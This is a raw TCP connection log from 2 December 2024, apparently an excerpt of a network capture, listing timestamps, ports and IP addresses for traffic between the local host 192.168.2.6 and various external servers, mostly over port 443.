Dec 2, 2024 07:37:32.940304041 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.940504074 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.940525055 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.948035955 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.948101997 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.948193073 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.948339939 CET	49755	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.948354959 CET	443	49755	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.949445009 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.949507952 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.949517965 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.951865911 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.951908112 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.952267885 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.952322006 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.952406883 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.952413082 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.952419996 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.952421904 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.956038952 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.956098080 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.956108093 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.956676960 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.956726074 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.956732988 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.957118034 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.957163095 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.957364082 CET	443	49751	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:32.957421064 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.957436085 CET	49751	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:32.957668066 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.957727909 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.957779884 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.957968950 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.957982063 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.957992077 CET	49758	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.957997084 CET	443	49758	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.962013006 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.962045908 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.962152958 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.962454081 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.962470055 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.980163097 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.980225086 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.980392933 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.980597973 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.980597973 CET	49759	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.980613947 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.980623007 CET	443	49759	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.984391928 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.984424114 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:32.984575033 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.985569000 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:32.985588074 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:33.026705980 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:33.026772022 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:33.026890993 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:33.030368090 CET	49757	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:33.030375004 CET	443	49757	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:33.076374054 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:33.076399088 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:33.076565027 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:33.076988935 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:33.077003002 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:33.711251974 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:33.711291075 CET	443	49771	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:33.713279963 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:33.713622093 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:33.713649035 CET	443	49771	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:33.761827946 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:33.761970043 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:33.763984919 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:33.763994932 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:33.764255047 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:33.808085918 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.353615046 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.399331093 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.658747911 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.659331083 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.659363031 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.659945011 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.659950018 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.671890974 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.672374964 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.672393084 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.672794104 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.672799110 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.720993996 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:34.721029997 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:34.721155882 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:34.722548008 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:34.722562075 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:34.803174019 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.803971052 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.803987980 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.804467916 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.804474115 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.807416916 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.807728052 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.807743073 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.808085918 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.808090925 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.822024107 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:34.822320938 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:34.835788012 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.836366892 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.836395979 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.837055922 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:34.837064028 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:34.941991091 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:34.942189932 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:34.942265034 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:34.942584038 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:34.951251030 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.951277018 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.951284885 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.951303005 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.951337099 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.951337099 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.951361895 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.951400995 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.951416016 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.970925093 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.971005917 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.971007109 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.971069098 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.971227884 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.971227884 CET	49760	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:37:34.971246958 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:34.971256018 CET	443	49760	4.245.163.56	192.168.2.6
Dec 2, 2024 07:37:35.062587976 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:35.094099998 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.094160080 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.094208956 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.097069979 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.097090960 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.097111940 CET	49763	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.097117901 CET	443	49763	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.103970051 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.104012012 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.104070902 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.104636908 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.104650974 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.109729052 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.109828949 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.109905005 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.110403061 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.110403061 CET	49764	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.110423088 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.110433102 CET	443	49764	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.116194010 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.116216898 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.116290092 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.118474007 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.118485928 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.240209103 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.240272999 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.240326881 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.241085052 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.241103888 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.241131067 CET	49767	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.241144896 CET	443	49767	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.245347977 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.245397091 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.245467901 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.245691061 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.245706081 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.261238098 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.261310101 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.261373043 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.261542082 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.261548042 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.261569977 CET	49765	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.261574030 CET	443	49765	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.265563965 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.265588999 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.265672922 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.265813112 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.265826941 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.289009094 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.289077044 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.289136887 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.289320946 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.289345980 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.289357901 CET	49766	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.289365053 CET	443	49766	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.293011904 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.293034077 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.293107986 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.293258905 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:35.293271065 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:35.452800035 CET	443	49771	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:35.453263998 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:35.453279018 CET	443	49771	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:35.453620911 CET	443	49771	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:35.453922033 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:35.453986883 CET	443	49771	142.250.181.100	192.168.2.6
Dec 2, 2024 07:37:35.506515026 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:35.971343040 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:35.971359015 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:35.971445084 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:35.972158909 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:35.972172022 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:36.197815895 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.197890043 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.199945927 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.199954033 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.200186968 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.241075993 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.244606018 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.291332006 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.598009109 CET	49786	443	192.168.2.6	172.217.17.78
Dec 2, 2024 07:37:36.598026991 CET	443	49786	172.217.17.78	192.168.2.6
Dec 2, 2024 07:37:36.598217010 CET	49786	443	192.168.2.6	172.217.17.78
Dec 2, 2024 07:37:36.598432064 CET	49786	443	192.168.2.6	172.217.17.78
Dec 2, 2024 07:37:36.598442078 CET	443	49786	172.217.17.78	192.168.2.6
Dec 2, 2024 07:37:36.865046978 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.865102053 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.865187883 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.865475893 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.865495920 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.865509033 CET	49775	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.865519047 CET	443	49775	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.921668053 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.921694040 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.922532082 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.923007011 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:36.923021078 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:36.985013008 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:36.985091925 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:36.988291979 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.989995956 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.990506887 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.990689039 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.995930910 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.995954037 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.996490955 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.996496916 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.997107029 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.997119904 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.997658014 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.997663975 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.998351097 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.998378038 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.998725891 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.998730898 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.999135017 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.999174118 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:36.999574900 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:36.999581099 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.136769056 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.142541885 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.142570019 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.145157099 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.145163059 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.293106079 CET	49786	443	192.168.2.6	172.217.17.78
Dec 2, 2024 07:37:37.293150902 CET	49771	443	192.168.2.6	142.250.181.100
Dec 2, 2024 07:37:37.340208054 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:37.423810959 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.423876047 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.423930883 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.424354076 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.424361944 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.424374104 CET	49779	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.424379110 CET	443	49779	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.425224066 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.425267935 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.425321102 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.425388098 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.425446987 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.425565958 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.428370953 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.428380013 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.428397894 CET	49782	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.428401947 CET	443	49782	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.428498030 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.428517103 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.428527117 CET	49781	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.428533077 CET	443	49781	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.431703091 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.431740999 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.431786060 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.431808949 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.431823015 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.431890011 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.432025909 CET	49789	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.432040930 CET	443	49789	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.432100058 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.432158947 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.432182074 CET	49790	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.432200909 CET	443	49790	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.432213068 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.432372093 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.432372093 CET	49780	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.432377100 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.432388067 CET	443	49780	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.433109999 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.433125973 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.433197021 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.433408976 CET	49791	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.433415890 CET	443	49791	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.434859037 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.434883118 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.434943914 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.435077906 CET	49792	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.435087919 CET	443	49792	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.460081100 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:37.591559887 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.591617107 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.591671944 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.591991901 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.592011929 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.592022896 CET	49783	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.592031002 CET	443	49783	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.595793009 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.595835924 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:37.595931053 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.596134901 CET	49793	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:37.596153021 CET	443	49793	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:38.219685078 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:38.219762087 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:38.224812031 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:38.224821091 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:38.225059986 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:38.237526894 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:38.237603903 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:38.237610102 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:38.237816095 CET	49784	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:38.279340029 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:38.297769070 CET	80	49778	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:38.297830105 CET	49778	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:38.391475916 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:38.391676903 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:38.392997980 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:38.393007040 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:38.393317938 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:38.394840956 CET	49787	443	192.168.2.6	23.218.208.109
Dec 2, 2024 07:37:38.439331055 CET	443	49787	23.218.208.109	192.168.2.6
Dec 2, 2024 07:37:39.141880035 CET	443	49784	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:39.141952991 CET	443	49784	20.198.119.143	192.168.2.6
